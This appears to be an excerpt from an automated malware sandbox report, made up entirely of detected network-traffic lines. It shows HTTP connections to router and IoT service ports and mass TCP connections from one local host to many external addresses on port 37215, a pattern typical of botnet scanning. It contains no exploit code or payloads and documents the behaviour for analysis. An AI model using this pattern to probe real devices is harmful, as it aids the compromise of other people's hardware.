Source: unknown	Network traffic detected: HTTP traffic on port 39556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38092 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50654
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 34034
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50694
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40394 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57534 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57534 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 51078
Source: unknown	Network traffic detected: HTTP traffic on port 59328 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44230 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48708
Source: unknown	Network traffic detected: HTTP traffic on port 48740 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48740
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 45742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48668
Source: unknown	Network traffic detected: HTTP traffic on port 41654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48788
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35328 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46518
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47070 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45942 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46816
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35072 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45942
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46518
Source: unknown	Network traffic detected: HTTP traffic on port 35090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45942
Source: unknown	Network traffic detected: HTTP traffic on port 37632 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 42238 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 42870
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59166 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45348 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37614
Source: unknown	Network traffic detected: HTTP traffic on port 53906 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33408 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56324 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37614
Source: unknown	Network traffic detected: HTTP traffic on port 36264 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46194 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37618
Source: unknown	Network traffic detected: HTTP traffic on port 36284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41080 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58892 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44894
Source: unknown	Network traffic detected: HTTP traffic on port 44900 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44900
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44346 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45912 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58076 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43546
Source: unknown	Network traffic detected: HTTP traffic on port 43552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43552
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41430 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32882
Source: unknown	Network traffic detected: HTTP traffic on port 33500 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33500
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33500
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44652 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35632 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53392 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35322 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35322
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35352 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35352
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40574 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40514
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40574
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53382
Source: unknown	Network traffic detected: HTTP traffic on port 38560 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59008 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37232 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37186
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39340 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37232
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 59830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53518
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 37566 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45528 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45530 -> 52869

Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.152.84.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.39.237.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.22.145.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.47.174.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.80.13.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.70.76.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.225.177.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.169.91.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.237.232.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.231.223.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.209.80.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.52.28.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.21.193.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.234.137.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.182.116.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.232.127.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.16.149.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.195.126.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.175.175.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.55.109.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.3.214.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.16.247.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.185.97.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.226.216.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.149.83.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.26.42.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.20.136.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.208.10.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.151.138.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.143.47.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.75.46.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.241.233.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.23.9.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.96.1.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.81.186.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.114.215.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.252.74.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.25.154.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.243.246.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.251.82.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.123.144.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.6.160.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.207.241.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.114.39.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.115.83.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.173.61.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.178.62.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.252.165.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.52.61.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.16.255.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.146.199.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.151.90.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.251.8.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.68.208.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.147.26.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.205.52.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.238.6.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.244.151.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.212.182.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.238.105.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.181.64.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.198.11.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.29.202.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.191.32.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.209.203.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.20.247.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.199.205.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.199.26.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.18.44.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.16.224.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.232.182.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.102.181.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.192.92.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.181.201.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.33.61.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.21.110.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.196.129.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.85.75.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.195.213.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.145.15.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.7.39.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.207.250.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.122.33.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.119.89.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.109.228.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.232.190.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.181.172.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.11.37.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.58.174.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.210.49.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.184.204.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.189.194.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.21.84.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.199.134.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.150.196.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.18.145.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.121.94.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.116.0.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.70.236.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.151.136.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.28.102.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.102.151.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.107.9.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.65.210.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.61.155.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.55.252.119:37215
